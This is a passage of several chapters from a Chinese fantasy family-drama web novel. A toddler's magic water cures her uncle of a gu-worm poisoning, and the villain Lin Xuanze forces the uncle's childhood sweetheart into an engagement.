这些东西铺盖在碎冰上,表层又放了一些蜂蜜,蜂蜜还沾着一些桂花。
乖宝用勺子,挖着往嘴里塞,一边咀嚼一边从腰间拿出自己的水袋,往冰碗里倒了一点。
“四叔你要不要?”她想了想看向边上的顾寒舟。
乖宝还不忘四叔身上有虫子,要多喝水的事。
顾寒舟点了点头,将自己跟前的冰碗推了过去。
乖宝直接给他的碗,倒满了水。
“我也要,我也要!”边上的元槿见状,立刻也把自己的碗推到了乖宝的面前。
乖宝也给他把水倒得盖过水果才停手。
碗里的水太满了,顾寒舟怕里面的水溢出来,端着碗全给喝光了。
“好喝。”顾寒舟点头。
景王妃走了进来,笑着道:“味道还不错吧。”
“娘,你尝尝,乖宝往里面倒了一点水更好喝了。”元槿仰头,用勺子连水带水果一起递到景王妃的嘴边。
景王妃在王府里,偶尔也会吃上一碗,倒没觉得有多稀罕,不过儿子盛情难却,她并没有阻绝,俯下身张嘴吃下那一勺。
“嗯,还真不错,我怎么感觉,这比以往吃的还要好吃。”景王妃眼睛亮了亮,又回味了下。
嘴里的甜味清爽不腻人,吞咽下去也没有寻常那么凉胃。
元槿见景王妃盯着自己的冰碗,笑着将勺子递了过去。
嘻嘻!
娘跟他一样,也喜欢这个加了水的冰碗。
景王妃接过他的勺子,又吃了好几口。
元槿看到冰碗快要见底了,眼巴巴看着她,有些捉急,“娘……”
景王妃这才察觉到,又把勺子给了元槿,拿出手帕有些尴尬地擦了擦嘴。
前几日总觉得没劲头,这半碗冰碗吃的她浑身舒畅。
景王妃长舒了一口气,抬手意外发现掌心上满布了汗水,额头上滑落一滴水珠,掉在桌案上。
“娘,你出了好多汗。”元槿从自己的衣袖里面掏出一个荷花纹的手帕,抬起手给景王妃擦汗。
他蹙眉,看着湿透的手帕,又看向景王妃那还在源源不断溢出汗液的额头。
“娘,你到底怎么了?”
景王妃意识到自己浑身热的很,身上黏黏糊糊全是汗,衣裳都快被汗水浸湿了。
自从生下槿儿,她便得了寒症,所以每年冬日都畏寒,就连夏日四肢都发凉,如今热的冒汗这情况还是头一回出现,忍不住捏着手帕,擦了擦额头上的汗渍,还有手心的汗。
“槿儿,你在这儿好好招待乖宝跟四公子,娘去洗洗换身衣服过来。”
元槿:“好。”
景王妃立刻去了净房。
洗完澡,她穿着件单薄的衣裳,坐在铜镜面前。
景王妃望着镜中的自己,轻轻抚着眼角,明明今日晨时这儿还染着厚重的青色,如今却尽数消散。
她垂头,又盯了一眼手背上的肌肤,晶莹如玉,吹弹可破。
不仅如此,她感觉心情也格外的舒畅,这些天挂记儿子晚上睡不好,有些沉重的身子,变得轻盈起来。
直觉告诉她,这些变化绝不是巧合。
她身上的症状,似乎是乖宝到王府后,从她吃完那碗冰碗开始的。
景王妃想到这,胸腔震颤,激动地脸有些发烫,手紧紧捏着一支簪子。
一定是乖宝!
乖宝不仅治好了她的寒症。
乖宝还让她容光焕发,甚至看着年轻了好几岁。
没有女人会不在意自己的年龄跟容貌。
“王妃,奴婢感觉,您真是越来越年轻了,这肌肤白里透红,嫩的发亮。”边上的丫鬟一边替她梳发,一边笑着开口道。
“你去
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把宫里赐的那批云锦拿过来,在从库房挑块好料子,让人做几副小孩能戴的头面。”景王妃摸了摸自己的脸,开口吩咐道。
景王妃换完衣裳,又带着人快速,回到了元槿的院子。
刚踏进屋子里,就听到他们的笑声。
“嘿嘿,四叔你输啦,你喝水吧!”乖宝跟前放着三个玉质的九连环,只有顾寒舟跟前那个没有解开。
顾寒舟捏着水袋,仰头喉结不断地滚动,蓦然顿住。
“噗!”他脸色一变,大口大口的往嘴里吐出液体。
水跟乌血混在一起,血有些褪色,能清晰看到地上有东西在挪动。
景王妃吓了一大跳,赶忙道:“去,去把太医叫过来。”
因元槿打小病弱,景王特意向皇帝要了个恩典,赐了个专门替他看病的太医在府上。
太医匆匆赶来,望了一眼地上的污秽,心提到了嗓子眼,给景王妃行了一礼,就立刻替顾寒舟把脉。
“下官猜测他中的这是蛊毒。”
“不过他这蛊毒已经有所缓解,只要把体内的蛊虫吐出来,想必很快就能好转。”
“四叔,快吐,吐了就好了,嘿嘿!”乖宝一听,赶紧又把手边的水袋递过去。
“疼……”顾寒舟额头上满是汗水,眼神恍惚地望着跟前的人,胸口发闷,有什么东西在往他喉咙向上钻。
他心里很不安,手紧紧握成拳,低喃道:“乖宝……回……回家。”
“四叔。”乖宝赶紧抱住了顾寒舟。
景王妃紧张地看向太医。
“这是正常的,蛊虫在他体内挣扎作祟。”太医又道。
景王妃立刻唤来人道:“来人备马车,送她们回府。”
将军府,前厅内。
将军府三人听完景王派来的人,禀报的事,全都沉默了。
“到底是谁对四弟下如此毒手!”顾应柏得到消息,气得猛然拍案,从椅子上起身。
难以想象,顾寒舟体内的毒虫发作时得有多痛苦。
人都是肉长得,寻常时候磕碰都疼,何况是血肉里钻了虫子。
“将军,陈将军说有消息了。”边上的下人走了进来,伸手递给顾应决一张信纸。
第六十章 四叔再不醒来,四婶就要嫁人了。
顾应决将那信纸打开,看完后开口道:“寒舟在发病前,跟林玄泽还有裴家,江家都有过一些恩怨,至于是谁做的还得再查查。”
顾夫人蹙眉,想到什么,眉宇微抬:“应决,娘想起来了,之前有段时间老四老往外跑,还去库房取过好几次东西,我还猜测这傻小子是不是心里有喜欢的姑娘了。”
“结果没多久,他就……不过说来他跟那裴家的小姐,也算是青梅竹马,裴小姐是裴太傅的女儿。”
二人有感情也说不定,不过这一切都是她的猜测。
“林家那位,寒舟被太傅看中做学生时,林家的也想进太傅府上,但太傅没看上他,还是林玄泽的父亲特意求上裴家,也只是被同意能过去讨教问题。”
顾应决捏着手中的信纸,冷声开口道:“派人仔细去查查林玄泽跟裴昭,还有江袁,查查他们有没有跟什么特别的人接触过,还有叫人盯着他们府上的动向。”
“多加派些人手,务必尽快查出。”
若叫他知道是谁,他一定要将那人**万段,才能报他四弟这么多年所受的痛苦。
“将军,小姐跟四公子回来了!”下人走进来的同时。
王府的人将顾寒舟扶了进来,乖宝在边上紧张地跟着他。
“四弟。”
顾应柏立刻起身走了过去,见顾寒舟闭着眼睛,半趴在小厮肩上。
“他怎么了?”
小厮将方才王府的事情告知。
乖宝赶忙解释道:“爹,祖母,大伯,大夫说四叔把虫子吐出来就能好了……”
“快,将寒舟送回房。”顾应柏立刻唤了边上的下人,急忙开口道。
下人扶着他往后院走。
顾夫人手紧紧捏着佛珠,深吸了一口气,嘴里嘀咕着佛经,企图让内心平复下来。
——
黄昏破晓之时,永昌伯府侧门,几个下人抬着竹竿担架悄悄进入府内。
林玄泽刚被人扶上床榻,趴在被褥上,阴沉着一张脸,眼里带着冷意。
“去把晚娘给我叫过来!”他一把揪住边上下人的衣领,冷声开口道。
“奴才,奴才这就去。”下人颤颤巍巍开口道。
林玄泽松开手,看着那名下人连滚带爬的出去。
没过一会儿,房门被推开。
晚娘闻到了一股浓郁的药膏味,蹙了蹙眉头。
她余光落在床榻上,对上林玄泽那双席卷着怒意的目光。
“大人,您这是怎么了?”晚娘蹙眉,赶紧走了过去,满脸担忧道。
“你还好意思问!”林玄泽扬起手来,狠狠甩了一巴掌。
“啪”的一声脆响。
晚娘只感觉自己耳朵被震的嗡嗡作响,仿佛突然耳鸣了一般。
她白嫩的脸上瞬间落上了一抹红印,下意识捂着脸,垂眸时眼眸暗暗,舌尖顶了一下肿痛的口腔内壁,眼中瞬间闪过一丝戾气。
晚娘轻噙着泪道:“大人,奴家到底做错了什么?”
“本公子试了你说的那个铃铛,结果根本就不起作用,甚至还逼的顾寒舟吐血,将他身上的蛊虫给逼出来了。”林玄泽语气中带着一丝冷硬。
本想逼疯顾寒舟,结果却让顾寒舟因祸得福。
这女人到底是帮他,还是帮着顾寒舟!
“奴家敢说,奴家那东西绝对没有问题,除非他身边有高人能够解这蛊虫,不然根本就不可能出现将军您说的情况。”晚娘目光一沉,咬了咬牙又开口道。
她那蛊虫,根本无药可解,除非真有什么世外高人。
林玄泽眼中带着审视。
将军府最近确定是有些奇怪,从顾应决突然活了开始,听说那顾老妇人现在竟然也突然能够走了,就连那顾寒舟现在疯病都好了。
说不准这里面真的有什么人在帮助将军府。
“你不是说这辈子都没有人能解开吗?”
晚娘神色暗暗,真有这样的人,她倒想去会会。
“晚娘是这么说过,但是也有特例。”
“大人,这次是奴家的错,您就不要责备奴家了,奴家有将功补过的办法。”
“什么将功补过的办法?”林玄泽撇了撇嘴。
“大人,您要的药,奴家找到了。”晚娘纤细无骨的手,抚摸在林玄泽的脸上,嘴角勾起了一抹皎洁的笑意,开口道。
林玄泽一听激动地,从床榻上爬了起来,挑眉道:“在哪?”
晚娘盯着他扬起了唇,起身出了屋子,进来时手里捧着个花瓶,花瓶上放的位置插着一朵深紫色的花。
林玄泽眼中闪过一地兴奋,笑着道:“还真紫藤花。”
“你到底是怎么得来的?”
“这紫藤花可不好存放。”他曾经亲自去摘过,却在回
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京的路上花枯了。
“奴家有奴家的办法。”
“好,你这次可是帮了我一个大忙。”林玄泽看着他的目光中带着一丝笑意,轻柔地抚了下晚娘的脸。
有了这紫藤花,太傅夫人的病就能治好。
裴昭看不上他,不想嫁给他,也必须得嫁给他,除非她不想让太傅夫人活下去。
林玄泽眼中打着算盘,又伸手一把搂住晚娘的腰。
若是有一天顾寒舟真的清醒过来,知道自己最爱的女人,嫁给了他,怕不得气死。
光是这么想想他就觉得心里畅快。
可惜了,顾寒舟不能亲眼看到。
“去,告诉我娘,替我准备聘礼,两日后我便去裴府提亲!”林玄泽示意了一眼,在边上候着的下人,吩咐道。
晚娘靠在林玄泽手臂边,余光瞥了一眼林玄泽那张,“大人娶妻,那奴家呢?”
“你放心,只要你乖乖的,本大人不会亏待你。”
——
顾寒舟从那天回来就一直昏迷不醒,只是偶尔吐几口血,顾夫人日日都请大夫为他把脉,却都未见苏醒的迹象。
元槿回了景王府后,没再来将军府,乖宝就彻底闲了下来,没事干她只能每天,跑去顾寒舟的院子里玩。
乖宝吃完早饭,便趴在门边上,往顾寒舟屋子里面看。
顾寒舟依旧闭着眼睛,让下人扶着,嘴里吐着乌黑的血,那血吐到后面都结块了。
边上的大夫看到,都忍不住揪心。
“我四弟,为何还不醒?”顾应决闻着一股刺鼻的血腥味,唇瓣抿成一条直线。
“林大夫开口道:“将军,四公子这**好几年了,且已至肺腑,这些血那都是损耗精气,如今能吐出来就以为人在好转,昏迷不醒实属正常。”
林大夫帕子擦了擦额头上的汗渍,他从未见过如此粗暴的解毒之法,也就是顾家这位身子强健,要不这血吐出来,蛊毒还没有解了,人就已经**。
不过将军府一家子都奇的很,不能跟普通人比。
外头走进来一人,压着声音在顾应决耳边道:“将军,林府跟裴府有消息。”
“林玄泽求娶裴昭小姐,太傅同意了。”
乖宝就站在门边,距离他们最近,听到这话眉头一扬,她记得这个姐姐。
这个姐姐好像对四叔还挺不错的。
第六十一章 真搞不懂,爹为什么总是板着个脸!
乖宝盯着床榻上躺着的顾寒舟,双手托腮,老神在在地,长叹了一口气。
她不太懂那些话是什么意思,但她感觉四叔应该跟姐姐以前认识,现在四叔不记得姐姐,裴姐姐之前还挺伤心。
希望四叔能够快点好起来。
“四叔,你要加油啊。”乖宝绕过那装着血和蛊虫的痰盂,担忧地站在床边上,小手捏着手帕,轻轻替顾寒舟擦拭嘴角的乌血。
“乖宝等你醒来哦。”
“小姐您出去吧,让四公子在里面歇着就好。”小厮盯了乖宝一眼,劝道。
屋子里一股刺鼻的血味不说,还有那蛊虫,小姐却一点都不怕。
小姐真是勇敢。
他们这些大人都觉得心底发寒。
“嗯嗯,这个水你要一直都给四叔喝哦,不可以停。”乖宝从腰间又拿出水袋,那是她重新装满的。
小厮有些不解,见身边的顾应决朝自己点头示意,他也只好照做。
顾应决盯了一眼,那个水袋,乖宝给的水跟普通的水不一样,他早就察觉到了,只是这事不易让其他人知晓。
他一开始以为是乖宝身上有某种特殊的能力,后面发现她这特殊的能力便是这水,她给的水跟普通水非常不同。
这水喝了,能够救人。
自从喝了那水,他感觉身体里的内力已经恢复了七成,下半身的经络也在逐渐恢复。
“爹……”乖宝从屋子里走了出来,仰头望着刺眼的光,百无聊赖地盯着顾应决。
顾应决看了她一眼,从衣袖中拿出来了,一个穿戴红绳子的东西,捏在手心里。
乖宝看到顾应决把手伸到自己面前,小肉手抓住顾应决的大手,小脸上洋溢着笑容,一双眼睛亮闪闪道:
“爹,你手里的是什么?”
顾应决对上她那双天真的眼睛,另一只手拢成拳,轻咳了一声,不知为何心里冒出一丝玩味,“你猜。”
“嗯?是戴在手上的红线吗?”乖宝又长又浓密的睫毛,晃动了几下,盯着顾应决开口问。
顾应决面色微沉,红线是什么东西?
在小崽子心里,他穷成这样了?送人东西给的线。
“是头绳?”乖宝又道。
顾应决又没说话,东西被他紧紧握在手心。
“那是……”
乖宝小脸被太阳晒得红彤彤,又睁大眼睛道:“嗷,我知道了,是脚绳。”
顾应决心气有些不顺,抽了抽嘴,为了不让她再猜出一些要气死自己的东西来。
他张开了手掌。
那是一个羊脂玉料子做的玉葫芦形吊坠,小巧精致,栩栩如生,让顾应决用红绳圈了起来。
这块玉就是当初他爹立下战功时,皇帝赏赐,整个库房就这么一块。
“这是项链!”乖宝挑眉,惊喜道。
顾应决看她兴奋地样子,心角软了一块,眼中快速闪过一丝笑意,却又故作镇定地,轻“嗯”了一声。
“乖宝要戴。”
“过来。”顾应决指腹微拢,声音低沉中不自觉带着一丝柔和。
乖宝走到顾应决跟前,背对着他。
顾应决轻轻捏起乖宝柔软的头发,望着她的后颈,小小的脖子小小的肩,手里的动作也不由轻了一些,红绳绕过小丫头的脖前,又系了一个小结。
乖宝捏了捏胸口的小葫芦,“乖宝喜欢这个小葫芦。”
她回头看了顾应决一眼,小嘴微翘,凑到顾应决跟前,大着胆子趴顾应决腿上,又踮起脚来,撅着小嘴唇落在顾应决侧脸上。
“谢谢爹爹!”
顾应决那双深邃的瞳孔,瞬间愣了一下,微风轻轻从他的脸颊浮过,方才小崽子那软糯像棉花一样的小嘴,湿漉漉落在他脸的触感还历历在目。
顾应决不由地拢了拢拳头,指腹好几道划痕,跟指纹纵横交错,手掌心还有几道结痂的伤口。
“爹手受伤了?”
乖宝伸手抓住顾应决的大手,看着他手里满是伤痕,眉头皱了皱,心疼道:“爹,自己给乖宝做的玉葫芦吗?”
顾应决还没说话,边上的小厮开口道:“是呀小姐,将军熬了好几夜才做出来的玉葫芦,您看将军这手都成这样了。”
“乖宝给爹
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吹吹,吹吹爹就不疼了。”乖宝握着他的手,撅着小嘴轻轻在他指腹,还有手掌上吹了吹。
顾应决盯着小崽子那张软糯的小脸,心紧了紧,“没事。”
他忍不住抬手,盖住乖宝的小脑袋,轻柔地抚摸了几下。
“四公子?”
突然,屋子里有**叫了一声。
“将军,太好了!四公子醒来了。”
乖宝一听,赶忙小跑进去,“四叔!”
顾应决随之,也被上边的小厮给推了进去。
屋内,顾寒舟坐在床榻上,手按在脑袋上,眯着眼睛,听到耳边有人叫自己,恍恍惚惚看向趴在自己床边上的小家伙。
他晃了晃脑袋,“你……”
“我是乖宝呀,四叔你不认识乖宝了?”乖宝看他神志不清的样子,朝着他眼睛的方向抬手挥了挥。
“乖……乖宝。”顾寒舟脑袋发沉,盯着跟前的小孩,眼睛跟脑子里的记忆逐渐清晰起来。
“对,你是乖宝。”
“嘿嘿,四叔你是不是想起来了?”乖宝望着他那双如耀眼星空般的黑色瞳孔,瞪大了眼睛,惊讶地大声道。
顾寒舟抚着脑袋,笨拙地点了点头。
“老四。”顾应决语气中带着一丝沉闷,仿佛在压制着什么情绪,打手搭在顾寒舟的肩膀上。
“三哥。”顾寒舟侧头看向边上的顾应决,眼中带着激动。
他想挺身去搂顾应决,突然想起三哥好像不太喜欢别人碰他,顾寒舟又收起了内心的想法。
“三哥,这些年辛苦你了。”
顾寒舟望着他坐在轮椅上的腿,眼眶有些发红,若是他能早点醒来就好了。
“说什么傻话。”顾应决握紧拳头,又微松提手轻拍了一下他的脑袋,垂眸嘴角勾了勾。
“去,将夫人跟大公子叫过来。”
他又看向边上的下人,说话的声音有些低哑,指腹不自觉搓了搓。
乖宝偷偷看了顾应决一眼。
嘿嘿,爹肯定很开心,刚才她都看到爹垂头偷偷笑了。
真搞不懂,爹为什么总是板着个脸!
第六十二章 彻底清醒
顾夫人跟顾应柏得到消息,立刻赶了过来。
“寒舟。”顾应柏率先走到床榻边上,搂住了顾寒舟,眼中闪烁着泪光,紧紧盯着顾寒舟,像是在反复确认对方是不是真的清醒了。
“大哥。”顾寒舟也在看着顾应柏,说话的声音有些颤。
顾应柏拍了拍他的肩膀,含了含眼泪:“太好了,你总算清醒了。”
“能清醒就好!咱们一家总算是彻底团聚了。”
顾寒舟点了点头。
“娘。”顾寒舟又看向,早就已经泪流满面的顾夫人。
顾夫人目光灼灼盯着儿子,双手捧着顾寒舟的脸,仔细地打量着顾寒舟。
“真清醒了?”顾夫人有些不敢置信地望着他的眼睛,又问了一句。
顾寒舟脸上落下两行泪水,点着头哽咽道:“娘,是孩儿不孝,让您担心了。”
他跪在床榻上,给顾夫人磕了个头。
“只要你能好好活着,比什么都好,娘只希望你们兄弟几个平平安安。”顾夫人拉住了他的手,泪水从眼眶坠落,她摇了摇头。
顾寒舟看向边上乖宝那双葡萄大眼,“多亏了乖宝。”
“要不是乖宝,儿子根本醒不过来。”
他记得自己不清醒那些时间发生的所有事情。
也知道是乖宝的神水救了自己。
“乖宝那……”
顾应柏神色变了变,侧头冲身边的下人道:“你们都出去吧。”
他又侧头看了一眼边上的林大夫:“不知我四弟为何突然又清醒了?日后身体可还有影响,可是那蛊虫彻底没了。”
林大夫回神道:“若老夫没猜错,那应该是西域的金蚕蛊,这类蛊虫能攻击人脑,还能叫人意识不清,深受折磨,成为疯子,到最后会被蛊虫啃食掉脑子,甚至血肉,最终人彻底成为一具空壳。”
这也是顾寒舟最奇怪的一点,蛊虫啃咬了脑子,就这还能恢复。
“既然能恢复,那就说明那蛊虫应当吐干净了,若是不放心,可继续观察公子是否有吐血的迹象,有的话就继续等蛊虫吐尽。”
林大夫觉得自己的作用不是很大,将军府里那位真正能解这蛊毒的人才最厉害。
一开始他觉得将军府有神药,现在他更倾向于有神医。
顾应柏道谢完,便叫人带林大夫出去。
待人全出去,顾应柏又亲自将房门关上。
“乖宝,谢谢你,要不是你天天给四叔喝那神水,四叔现在还疯着呢。”
顾寒舟拉住了乖宝的手,眼里带着浓郁的感激之情,温声开口道。
要不是现在他身子太虚,他得抱着乖宝在院子里跑两圈。
庆祝这长达三年的折磨终于过去。
“嘿嘿,没事啦。”乖宝笑着,抖了抖肩膀。
她突然意识到什么,小脸一僵。
四叔是知道乖宝的秘密了吗?
那爹跟大伯还有祖母也知道了嘛。
她突然意识到,自己的小秘密好像被大家发现了。
乖宝赶紧伸出小手,捂住自己胸口的玉佩,弱小可怜地扫了一眼大家。
“你……你们都……知道啦嘛?”乖宝抖了抖唇瓣,小胸脯激动地上下起伏道。
“嗯……不过,乖宝别担心,我们是绝对不会告诉任何人的。”
顾应柏俯下身,对上她那双不可思议的摸样,忍不住笑着摸了摸她的小脑袋。
“是呀,乖宝可是我们全家的福星!”顾寒舟合着衣袖,擦了擦眼角的泪。
乖宝知道祖母跟大伯还有爹对自己很好,根本不会伤害自己,也不会抢走自己的东西,知道也没关系。
她想到这心里的戒备逐渐放下,反还有得意,凑到顾寒舟面前笑着道:“厉害吧。”
顾寒舟捏捏她的小脸,“厉害!”
“你是祖母见过最厉害的小孩。”顾夫人含了含泪,搂着乖宝亲了亲。
若不是今日的乖宝,他们可能一辈子都不知道老四,经历了些什么。
身上有虫子,光是想想都能感受到那钻心,绞肉的疼,三年整整三年啊!
她自己腿疾都难以忍受那日日夜夜的疼,寒舟那孩子到底是如何忍下得的,她都不敢去细想。
要不是乖宝,老四都不知道,还能熬多久,痛苦多久。
幸好,上天将乖宝带到他们身边!
“祖母别哭,乖宝在哦。”
顾夫人一
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边哭,一边含着笑点了点头,“嗯嗯,祖母知道了。”
那一整日将军府顾寒舟的房内,都异常的热闹。
顾寒舟清醒后,由于身子虚弱被顾夫人勒令,卧床休息,只能每天等着乖宝起床,给自己找些新鲜玩意在屋子里陪玩。
好几日过后,他终于能下床了,便马不停蹄抱着乖宝,吩咐下人被备车要出去。
小厮劝道:“四公子,奴才知道您闲不住,但您身子要紧。”
“我的身子我自己知道,快让开。”顾寒舟绕过下人,抱着乖宝往外走。
另一侧的院子里。
顾应决坐在窗户边上看书,听到边上有些吵闹的声音,目光时不时的往窗外看。
“去那边看看。”
在屋子里打扫的下人得令,迈着步子出去,没一阵又回来解释道:“四公子,好些年没有去武堂了,想去练练,说那边器具多,急着要出去。”
“寒舟这才清醒没几天这就急着出去?”顾应决皱起眉头,疑惑道。
“胡闹!”顾应决猛地,放下手里的书冷声呵斥。
“去看看。”
“那地方也是小孩子能去的?”
寒舟自己逞能,去就去了,伤着了疼下次就长记性了,可别把小崽子给带坏了。
小厮:“……”
他还以为将军是关心四公子的身体呢,原来是因为这个啊。
将军府大门口。
“四叔,武堂有小孩能练的武功吗?”乖宝刚被顾寒舟抱上马车,好奇的问。
顾寒舟捏了捏她的小鼻子,对上乖宝那双灵动的眼睛,笑了笑道:“你想学武?”
“嗯嗯。”乖宝认真道。
“好,四叔教你一些,练体的招。”顾寒舟跟她额头贴着额头。
“咕窿……”耳边传来一阵车囫囵滑过的声音。
顾寒舟抬眸,见不远处迎面驶过一辆马车,上面挂着裴府的牌子。
马车停在了将军府门口,只见车帘从里面被撩开,露出女子那张娇媚的脸来。
“昭儿?”顾寒舟看到裴昭那一刻,眸光一愣,不由叫出了裴昭的名字。
裴昭听到他的声音,瞬间呆住,死死盯着顾寒舟。
第六十三章 一个三岁死丫头,事真多
“寒舟哥哥,你真的想起来了?”裴昭手里紧紧捏着手帕。
顾寒舟快步走到了马车跟前,裴昭激动地伸手去触碰顾寒舟的脸,顾寒舟展开双臂,搂住了她,转着圈把人抱下来。
裴昭望着他,眼睛早已经被泪水浸湿。
两人不顾身边人的目光,紧紧拥抱在一起。
乖宝挑眉,双手捧着肉嘟嘟的脸颊,目光灼灼望着他们,嘴角都要咧到耳根去了。
谁知一双手伸过来,将她搂在怀里,直接给她从马车上抱了下来。
乖宝吓了一大跳,赶紧搂住对方的脖子。
而后她仰头,眼角瞬间眯成了月牙:“爹爹。”
顾应决一手搂着她的小屁股,抬手遮住她那双天真无邪的眼睛。
“爹,四叔跟裴姐姐……”她小嘴唇轻轻挪动,奶声奶气的开口。
“大人的事情,小孩子不许管。”顾应决说话的声音有些严厉。
“嗷……好吧,为什么呀?”乖宝不解。
“没为什么。”顾应决松开了手,一时不知如何解释。
“可是乖宝也管过爹,跟大伯,还有祖母,四叔我也管过……”乖宝掐指手指头数。
顾应决抿了抿唇:“这个跟那个管,不一样。”
“哪不一样……”乖宝挠头又问。
顾应决扶了扶额:“……”
破天荒的头一会儿,感觉跟小孩说话这么累人。
他实在没辙了,余光瞥了一眼顾寒舟那边,大掌捏了捏乖宝软糯Q弹的小脸,轻轻扣着她的下巴,往顾寒舟那撇。
“你看吧。”
乖宝揉了一把自己的小脸,盯着顾寒舟那边。
顾寒舟握着裴昭的手,上下打量着她,还从衣袖里拿出手帕给裴昭擦眼泪。
两人正浓情蜜意时。
身后传来一道愤怒中带着讥讽语气的声音:“顾四公子,你就这么跟我林玄泽的未婚妻,在大庭广众之下拉拉扯扯不太好吧?”
乖宝仰头看着那个骑着大马,嚣张拉着缰绳的男人,小肉手指着他,气呼呼道:“你怎么又来了,大坏蛋!”
林玄泽瞥了乖宝一眼,手里的缰绳紧了紧。
小臭丫头,怎么老有她!
“小丫头,这是我们大人的事,你一个什么都不懂的小屁孩管不着。”林玄泽翻身从马背上下来。
乖宝双手叉腰,撅了撅小嘴,冲他吐了吐舌头。
“略略略,就管,你个大坏蛋!”
林玄泽直接冷瞥了她,一个三岁死丫头,事真多。
他垂眸,余光扫了一眼,顾寒舟跟裴昭紧握在一起的手。
林玄泽紧了紧拳头,眼中燃起怒火。
还好他叫人盯着裴府,要不都知道裴昭,在成亲前偷偷来见顾寒舟。
“裴昭,你这是什么意思?”
裴昭对上林玄泽,质问的目光,立刻松开了顾寒舟的手。
她上前一步,冷声道:“林玄泽,我答应你的事情会做到,但我的事情你也没法干涉。”
“昭儿,他答应你什么了?”顾寒舟不解,心急如焚地拉住裴昭的手腕,追问道。
林玄泽闻言,挑了挑眉,意识到什么,眼中带着几分欣喜。
他上下打量着顾寒舟,“呵,你这疯子真的好了?”
“对,你有什么事冲我来,不要为难裴昭。”顾寒舟冷声道。
“可惜了,裴昭已经答应嫁给我了,你醒了又能怎样。”
林玄泽伸手挑衅似的一把搂住裴昭的肩,嘴角洋溢着笑意,望着顾寒舟时,眼中还带着几分得意。
“顾寒舟啊顾寒舟,你都当了三年的疯子,很多事情已经变了。”
“现在的你就是一个废物,你连自己最爱的女人都保护不了。”
“裴昭很快就是我的妻子,跟你以后没有任何关系。”林玄泽不顾裴昭的挣扎,死死揽着她,甚至手还往下移揽住她的腰肢。
顾寒舟红着眼睛,死死盯着林玄泽:“你胡说八道什么,昭儿怎么可能答应嫁给你。”
他离开了三年,又怎能自私的要求裴昭等自己三年。
可即便裴昭嫁给别人,他也只希望裴昭能够幸福就好。
但他接受不了,裴昭要嫁的人是林玄泽这个畜生
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。
“你不相信,行那你问裴小姐。”林玄泽侧头看向离自己极近的裴昭,粗糙的唇瓣几乎都要贴裴昭脸颊了。
裴昭垂眸,咬着牙道:“寒舟他说的是真的。”
“昭儿,你疯了?林玄泽根本不是什么好人,嫁给他你不会幸福。”
顾寒舟感觉自己那蛊毒又复发了般,心口仿佛有虫子在啃食,密密麻麻的疼,叫他连呼吸都有些喘不上气。
“那又能怎样,裴昭宁愿嫁给我也不愿意嫁给你。”
“对了,等我们成亲之时记得来,一定给你挑个好位置。”林玄泽盯着顾寒舟那颓然,挫败的样子,嘴角的笑意压都压不住。
他恨不得昭告天下,顾寒舟终于不再是往日那个意气风发的天才少年。
而是被他林玄泽踩在脚底的废物!
“林玄泽,一定是你做了什么!逼得昭儿嫁给你。”
顾寒舟猛然愤怒地揪住了林玄泽的衣领,又拧紧了拳头朝着林玄泽的脸上砸了过去。
林玄泽按住了他的手,用力把人甩开。
“四叔。”乖宝赶紧从顾应决腿上爬下去,走到顾寒舟面前。
顾寒舟身体根本都没怎么恢复,力气自然不敌三年来,日日在习武磨炼自身的林玄泽
林玄泽冷笑,“三年不见,你这功夫没了,身子还弱成这样。”
还以为顾寒舟清醒之后,有些难缠,结果就这?
“你现在这废物样,也配做我的对手?”
不如趁现在,把顾寒舟给废了。
林玄泽手掌暗中蓄力。
“林玄泽。”
一直沉默地故顾应决突然开口道:“你以为,你对我四弟做的那些事,我们将军府永远都不会查到吗?”
林玄泽目光顿了顿,手心的内力瞬间散了,心里顿时有了一瞬间的惊慌。
难道顾应决发现了什么?
“你什么意思?”
顾应决那双深邃到让人捉摸不透的眼睛,微眯了眯,“你自己做了什么,心里清楚。”
“我们将军府绝对不会放过任何一个,谋害自家兄弟的人。”
第六十四章 林府的小厮特意过来请四公子,去林府吃喜酒
林玄泽指腹微微握拢,余光扫了顾应决一眼,对上他那双仿佛能洞悉一切的眼睛。
心里莫名有些慌,下意识眼神闪了闪。
“顾将军凡事讲究证据,无凭无据就污蔑,那下官还不得冤枉死。”
“但这世上没有密不透风的墙,只要你做了,就一定有漏洞。”顾应决眸光死死盯着林玄泽道。
裴昭趁机挣脱林玄泽的束缚,往顾寒舟跟前走,一脸担忧地望着顾寒舟。
林玄泽脸色有些不太好看,用力去拽住裴昭的手腕。
“你去哪!”
裴昭转身甩开他的手,“林玄泽,我还没嫁你!你凭什么管我。”
“你总不能连婚前,都限制我的自由。”
“行,记住你说的话。”林玄泽胸口闷着一口气。
等成婚后再好好教训裴昭,他还就不信了,成了亲,裴昭就是他的人了。
她要是还这样,他有的是办法,逼她服从。
林玄泽紧了紧手中的缰绳,翻身上了马车,夹着马背离开。
裴昭伸手想要上前拉顾寒舟,挪了挪唇,正要开口说话。
顾寒舟声音有些冷硬道:“裴小姐,成亲在即,跟外男接触,对你并不好。”
这话一出,裴昭的心,凉的透彻。
面对如此绝情的顾寒舟,她无声地含了含泪水。
也好,来这一趟,本就是因为不放心顾寒舟,如今他疯症好了,人也清醒了,她便放心了。
除了身患重疾的娘,她在这世上也已无牵挂。
裴昭捏了捏藏在衣袖里竹编的蚂蚱,嘴角强挤出一抹笑。
“我们好歹青梅竹马,相识一场,我后日便成婚,也祝你早日成家立业。”
她侧身,眼角滑过一抹泪水,抬手又擦拭掉。
顾寒舟手紧紧握成拳头,死死压着牙,下颚紧绷,强压着自己想要扑过去的冲动。
若昭儿执意要嫁给林玄泽,他又能如何,只能成全她。
裴昭走到顾应决跟前,朝着顾应决行了一礼,从衣袖中拿出一个手帕,一层层打开,露出那铃铛。
“顾将军,这是那日顾寒舟吐血时,小女在地上发现的东西,或许能找到一些线索。”
“啊,这个铃铛就是那个大坏蛋用的,四叔都难受了,他还一直摇铃铛。”乖宝认出了裴昭手里的铃铛,挠着小脑袋开口道。
顾应决拿起那铃铛,仔细端详,“你是说他一摇这个铃铛,你四叔就难受。”
“嗯嗯,是呐,四叔还吐血了。”乖宝对那天的记忆特别深刻,很多细节她不太清楚了,但是她记得那个坏叔叔,摇铃铛四叔就不舒服。
裴昭跟顾应决脸色都沉了几分,“莲心立刻叫林大夫过来,去告诉陈开,仔细查一查林玄泽。”
“小女先告辞了。”裴昭在下人的搀扶下上了马车,指腹捏了捏手帕。
林玄泽是他害了寒舟哥哥?
顾应决目送裴昭的马车离开后。
顾寒舟走到顾应决身侧,“三哥,你是不是发现了什么?裴昭是被迫的?”
